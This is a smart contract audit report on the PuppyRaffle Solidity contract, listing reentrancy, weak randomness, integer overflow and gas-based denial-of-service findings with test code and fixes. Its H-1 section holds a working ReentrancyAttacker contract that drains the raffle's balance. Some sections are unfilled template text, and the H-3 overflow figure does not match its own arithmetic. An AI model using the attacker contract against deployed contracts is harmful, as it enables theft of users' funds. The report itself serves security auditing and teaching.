



Protocol Audit Report

Version 1.0

Cyfrin.io

January 20, 2025

Protocol Audit Report

Steve-Alan Baleba Baleba

January 20, 2025

Prepared by: Steve-Alan Baleba Baleba Lead Auditors: - Steve-Alan Baleba Baleba

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance
 - * [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy
 - * [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees
 - Medium

- * [M-1] Looping through the array in `PuppyRaffle::enterRaffle` to check if there is a duplicate, could cause a potential denial of service (DoS) attack, incrementing gas cost for future entrants
- * [M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest
- Informational
 - * [I-1]: Solidity pragma should be specific, not wide

Protocol Summary

Protocol does X, Y, Z

Disclaimer

The auditor Steve-Alan Baleba Baleba makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

Scope

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Add some notes on how the audit went We spend X hours with Z auditors using Y tools

Issues found

1	Severity	Number of issues found	
2	-----	-----	
3	High	3	
4	Medium	2	
5	Low	0	
6	Info	1	
7	Total	6	

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the
4          player can refund");
5      require(playerAddress != address(0), "PuppyRaffle: Player
6          already refunded, or is not active");
7      payable(msg.sender).sendValue(entranceFee);
8      players[playerIndex] = address(0);
9      emit RaffleRefunded(playerAddress);
10 }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle.
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

code

Place the following test in `PuppyRaffleTest.t.sol`

```
1  function test_reentrancyRefund() public {
2      address[] memory players = new address[](4);
```

```
3     players[0] = playerOne;
4     players[1] = playerTwo;
5     players[2] = playerThree;
6     players[3] = playerFour;
7     puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9     ReentrancyAttacker attackerContract = new ReentrancyAttacker(
10         puppyRaffle);
11     address attackUser = makeAddr("attackUser");
12     vm.deal(attackUser, 1 ether);
13
14     uint256 startingAttackContractBalance = address(
15         attackerContract).balance;
16     uint256 startingContractBalance = address(puppyRaffle).balance;
17
18     vm.prank(attackUser);
19     attackerContract.attack{value: entranceFee}();
20
21     console.log("starting attacker contract balance: ",
22         startingAttackContractBalance);
23     console.log("starting contract balance: ",
24         startingContractBalance);
25
26     console.log("ending attacker contract balance: ", address(
27         attackerContract).balance);
28     console.log("ending contract balance: ", address(puppyRaffle).
29         balance);
30
31 }
```

And this contract as well

```
1 contract ReentrancyAttacker{
2     PuppyRaffle puppyRaffle;
3     uint256 entranceFee;
4     uint256 attackerIndex;
5
6     constructor(PuppyRaffle _puppyRaffle) {
7         puppyRaffle = _puppyRaffle;
8         entranceFee = puppyRaffle.entranceFee();
9     }
10    function attack() external payable {
11        address[] memory players = new address[](1);
12        players[0] = address(this);
13        puppyRaffle.enterRaffle{value: entranceFee}(players);
14
15        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
16            ;
17        puppyRaffle.refund(attackerIndex);
18    }
```

```
19
20     function _stealMoney() internal {
21         if (address(puppyRaffle).balance >= entranceFee) {
22             puppyRaffle.refund(attackerIndex);
23         }
24     }
25
26     fallback() external payable {
27         _stealMoney();
28     }
29
30     receive() external payable {
31         _stealMoney();
32     }
33 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the
4          player can refund");
5      require(playerAddress != address(0), "PuppyRaffle: Player
6          already refunded, or is not active");
7      + players[playerIndex] = address(0);
8      + emit RaffleRefunded(playerAddress);
9      payable(msg.sender).sendValue(entranceFee);
10     - players[playerIndex] = address(0);
11     - emit RaffleRefunded(playerAddress);
12 }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hasing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner!
3. User can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1  uint64 myVar = type(uint64).max
2  // 18446744073709551615
3  myVar = myVar + 1
4  // maybe will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a Raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the Raffle
3. `totalFees` will be :

```
1  totalFees = totalFees + uint64(fee);
2  // aka
3  totalFees = 8000000000000000000 + 17800000000000000000
4  // and this will overflow
5  totalFees = 153255926290448384
```

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees` :

```
1  require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```


Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
1  function testTotalFeesOverflow() public playersEntered {
2      // We finish a raffle of 4 to collect some fees
3      vm.warp(block.timestamp + duration + 1);
4      vm.roll(block.number + 1);
5      puppyRaffle.selectWinner();
6      uint256 startingTotalFees = puppyRaffle.totalFees();
7      // startingTotalFees = 8000000000000000000
8
9      // We then have 89 players enter a new raffle
10     uint256 playersNum = 89;
11     address[] memory players = new address[](playersNum);
12     for (uint256 i = 0; i < playersNum; i++) {
13         players[i] = address(i);
14     }
15     puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
16         players);
17     // We end the raffle
18     vm.warp(block.timestamp + duration + 1);
19     vm.roll(block.number + 1);
20
21     // And here is where the issue occurs
22     // We will now have fewer fees even though we just finished a
23     // second raffle
24     puppyRaffle.selectWinner();
25
26     uint256 endingTotalFees = puppyRaffle.totalFees();
27     console.log("ending total fees", endingTotalFees);
28     assert(endingTotalFees < startingTotalFees);
29
30     // We are also unable to withdraw any fees because of the
31     // require check
32     vm.prank(puppyRaffle.feeAddress());
33     vm.expectRevert("PuppyRaffle: There are currently players
34         active!");
35     puppyRaffle.withdrawFees();
36 }
```

Recommended Mitigation: 1. Use a newer version of solidity, and a `uint256` of `uint64` for `PuppyRaffle::totalFees` 2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected. 3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless

Medium

[M-1] Looping through the array in `PuppyRaffle::enterRaffle` to check if there is a duplicate, could cause a potential denial of service (DoS) attack, incrementing gas cost for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will automatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1  for (uint256 i = 0; i < players.length - 1; i++) {
2      for (uint256 j = i + 1; j < players.length; j++) {
3          require(players[i] != players[j], "PuppyRaffle:
4              Duplicate player");
5      }
6  }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of the raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves to win.

Proof of Concept:

If we have 3 sets of 100 players, the gas costs will be such : - 1st 100 players : ~6252039 - 2nd 100 players : ~18068129 - 3rd 100 players : ~37782722

Poc

Place the following test into `PuffyRaffleTest.t.sol`.

```
1  function testDos() public {
2      address[] memory playersA = new address[](100);
3      for(uint256 i = 0; i < 100; i++) {
4          playersA[i] = address(i);
5      }
6      uint256 gasStartA = gasleft();
7      puppyRaffle.enterRaffle{value: entranceFee * 100}(playersA);
```

```
8      uint256 gasCostA = gasStartA - gasleft();
9      console.log("Gas Cost A : %s", gasCostA);
10
11     address[] memory playersB = new address[] (100);
12     for(uint256 i = 0; i < 100; i++) {
13         playersB[i] = address(i + 100);
14     }
15     uint256 gasStartB = gasleft();
16     puppyRaffle.enterRaffle{value: entranceFee * 100}(playersB);
17     uint256 gasCostB = gasStartB - gasleft();
18     console.log("Gas Cost B : %s", gasCostB);
19
20     address[] memory playersC = new address[] (100);
21     for(uint256 i = 0; i < 100; i++) {
22         playersC[i] = address(i + 200);
23     }
24     uint256 gasStartC = gasleft();
25     puppyRaffle.enterRaffle{value: entranceFee * 100}(playersC);
26     uint256 gasCostC = gasStartC - gasleft();
27     console.log("Gas Cost C : %s", gasCostC);
28
29     assert(gasCostA < gasCostB);
30     assert(gasCostB < gasCostC);
31 }
```

Recommended Mitigation:

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

[M-2] Smart contract wallets raffle winners without a receive or a fallback function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Impact: The `puppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over !

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the onus on the winner to claim their prize. (Recommended)

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1  pragma solidity ^0.7.6;
```